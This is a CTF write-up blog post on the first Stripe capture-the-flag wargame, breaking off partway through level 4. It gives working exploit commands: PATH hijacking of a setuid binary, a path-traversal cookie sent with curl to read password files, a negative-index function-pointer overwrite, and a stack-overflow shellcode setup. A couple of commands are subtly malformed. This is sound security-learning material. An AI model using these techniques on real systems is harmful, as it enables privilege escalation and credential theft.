# The First Stripe CTF This post is about the first [Stripe](https://stripe.com/) CTF, which [happened at the beginning of 2012](https://stripe.com/blog/capture-the-flag-wrap-up). I was able to fully reproduce the game by using a [Live CD Image](http://www.janosgyerik.com/hacking-contest-on-a-live-cd/). Other options were [direct download and BitTorrent](https://stripe.com/blog/capture-the-flag-wrap-up). This CTF was composed of 6 levels, and its style was very similar to other Wargames I've talked about before in this blog (for instance, check [OverTheWire's](http://overthewire.org/wargames/) [Natas](http://https://singularity-sh.vercel.app/exploiting-the-web-in-20-lessons-natas.html), [Narnia](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html), and [Krypton](http://https://singularity-sh.vercel.app/cryptography-war-beating-krypton.html)). --- ## Level 1: Environment Variables When I booted the image, I got this first message:  In the *level01* folder I found: * A [setuid](http://linux.die.net/man/2/setuid) binary (a binary with access rights that allow users to run executables with permissions of the owner or the group). * The C source code of this binary:  Checking the code closely we notice the following lines: ``` printf("Current time: "); fflush(stdout); system("date"); ``` A vulnerability becomes quite obvious! First, if you use ```printf``` to send a text without a trailing ```\n``` to **stdout** (the screen), there is no guarantee that any of the text will appear so [fflush](http://man7.org/linux/man-pages/man3/fflush.3.html) is used to write everything that is buffered to **stdout**. Second, ```system``` executes [any shell command you pass to it](http://linux.die.net/man/3/system). In the case above, it will find a command through the [PATH environment variable](http://en.wikipedia.org/wiki/PATH_%28variable%29). It's clear that if we manage to change the variable ```date``` to some controlled exploit (such as ```cat /home/level01/.password```) we get the program to print the password. Third, ```system``` outputs the date using a **relative path** for the **PATH**. We just need to change that to the directory where we keep our exploit (*e.g.*, ```pwd```) to have the system *forget* about the original date function. The final script that leads to the next level's password looks like this: ``` #!/bin/sh cd /tmp echo '/bin/cat /home/level01/.password > date' chmod +x date export PATH=`pwd`:$PATH /levels/level01/level01 ``` --- ## Level 2: Client's Cookies This level is about finding a vulnerability in a PHP script that greets the user with her/his saved data. The program implements this functionality by setting a cookie that saves the user's username and age. In future visits to the page, the program is then able to print *You’re NAME, and your age is AGE*. Inspecting closely the code we see that the client's cookie is read without sanitizing its content: ``` ``` And then the results of this read is printed: ```
``` An obvious way to exploit this vulnerability is by building our own [request](http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html) that makes the program read the password at */home/level02/.password*. The cookie is set in the client side so we have lots of freedom to exploit it. For instance, we could use [Burp Suite](http://portswigger.net/burp/) to intercept the request and add the crafted cookie header. We could also use [Chrome Webinspector](https://chrome.google.com/webstore/detail/web-inspector/enibedkmbpadhfofcgjcphipflcbpelf?hl=en) to copy the [Authorization header](http://en.wikipedia.org/wiki/Basic_access_authentication) for the same purpose. The Cookie header would look like: ``` Cookie: user_details=../../home/level02/.password ``` Interestingly, it is also possible to solve this problem with just one instruction in the command line: ``` $ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php ``` Where the flag **--digest** enables HTTP authentication, and the flags **-b** or **--cookie** let us determine the cookie to be sent. Note: In the LiveCD this level is modified to use Python and [Flask](http://flask.pocoo.org/docs/0.10/). Luckily, I had some previous experience in Flask (check out my [Anti-Social Network]()) and it was pretty easy to spot that the Pyhton code does *exactly* the same thing as the one above. --- ## Level 3: Failure in Input Validation The third level comes with another **setuid** binary with the purpose of modifying a string: ``` $ /levels/level03 Usage: ./level03 INDEX STRING Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length ``` The C code is also given: ``` #define NUM_FNS 4 typedef int (*fn_ptr)(const char *); int to_upper(const char *str) {(...)} int to_lower(const char *str) {(...)} int capitalize(const char *str) {(...)} int length(const char *str) {(...)} int run(const char *str) { // This function is now deprecated. return system(str); } int truncate_and_call(fn_ptr *fns, int index, char *user_string) { char buf[64]; // Truncate supplied string strncpy(buf, user_string, sizeof(buf) - 1); buf[sizeof(buf) - 1] = '\0'; return fns[index](buf); } int main(int argc, char **argv) { int index; fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length}; if (argc != 3) { printf("Usage: ./level03 INDEX STRING\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); } // Parse supplied index index = atoi(argv[1]); if (index >= NUM_FNS) { printf("Invalid index.\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); } return truncate_and_call(fns, index, argv[2]); } ``` In problems like this, the attack surface is usually any place where there is input from the user. For this reason, our approach is to take a look at the arguments taken in the main function, checking for the common memory and overflow vulnerabilities in C. A vulnerability is found in the failure of checking for negative inputs: ``` #define NUM_FNS 4 (...) // Parse supplied index index = atoi(argv[1]); if (index >= NUM_FNS) { (...) exit(-1); } ``` Moreover, the **index** variable is used in the function **truncate_and_call**, where the function **fns** can be overflowed: ``` typedef int (*fn_ptr)(const char *); (...) fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length}; (...) int truncate_and_call(fn_ptr *fns, int index, char *user_string) { char buf[64]; // Truncate supplied string strncpy(buf, user_string, sizeof(buf) - 1); buf[sizeof(buf) - 1] = '\0'; return fns[index](buf); } ``` The exploitation plan becomes easier when we notice that right before **truncate_and_call** we have this convenient function: ``` int run(const char *str) { return system(str); } ``` ### Description of the Exploit To understand this problem we need to understand the [design of the stack frame](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html). With this in mind, the exploit is crafted as follows: 1) We input a malicious index that is negative (so it pass the bound checking) to have a shell running ```system("/bin/sh");``` (which will be able to read password of level3 because it will have its [UID](http://en.wikipedia.org/wiki/User_identifier_(Unix))). 2) We first need to find the memory location before **fns** (which should be writable). We fire up **gdb** and search for the pointer to **buf**, which is right before **fns** (this is different each time due to [ASLR](http://en.wikipedia.org/wiki/Address_space_layout_randomization)): ``` (gdb) p &buf (char (*)[64]) 0xffbffa00 ``` 3) We check **index** (where 4 is **sizeof(*fns)**), and subtract **buf** from to the pointer to **fns**: ``` (gdb) p (0xffbffa6c - 0xffbffa00)/4 27 ``` So running an argument such as */level/level03 -27 foo* calls **fns[-27]** which is **&fns-27** times the size of the pointer. 4) We will assign **buf** to a shellcode that will spawn the privileged terminal using the function **run**, which is at: ``` (gdb) p &run (int (*)(const char *)) 0x80484ac ``` 5) Stripe's machines were [little-endian](http://en.wikipedia.org/wiki/Endianness) so the address of **run** is **\xac\x84\x04\x08**. We write the memory location of **&run** into **buf**, since **buf** is just a ```strcpy``` of the second argument. In the end, we want to call: ``` $ run('\xac\x84\x04\x08'); ``` 6) Running it with the length of the directory (remember that the function pointer must start on a multiple of 4 characters) gives our password: ``` $ /levels/level03 -21 "cat /home/level03/.password $(printf '\xac\x84\x04\x08') ``` --- ## Level 4: Classic Stack Overflow Level 4 is about a classical Stack Overflow problem. Once again we get a **setuid** binary, together with the following code: ``` void fun(char *str) { char buf[1024]; strcpy(buf, str); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: ./level04 STRING"); exit(-1); } fun(argv[1]); printf("Oh no! That didn't work!\n"); return 0; } ``` In this challenge, the input string is received by the function **fun**, and then it is copied to the buffer. Since ```strcp``` does not perform bounds checking, if our string is larger than 1024 characters, it will keep copying until it reaches a NULL byte (0x00). This [overflows the stack](http://phrack.org/issues/49/14.html#article) and makes it possible to rewrite the **function return address**. The input for the **fun** function is going to be 1024 bytes (which starts at **&buf**) with several [NOPs](http://en.wikipedia.org/wiki/NOP) plus the shellcode. The overflowed bytes have pointers to the address of **buf** (**&buf**). We use NOPs because the system uses stack randomization. If **&buf** points to any of the NOPs, the shellcode will be executed. ### Yet Another Shellcode Introduction Shellcode can either be crafted directly in Assembly or reproduced in C and then disassembled in **gdb** and **objdump**. The second approach is more prone to errors. Let's write the simplest shellcode we can think of, which simply spawns a shell: ``` #include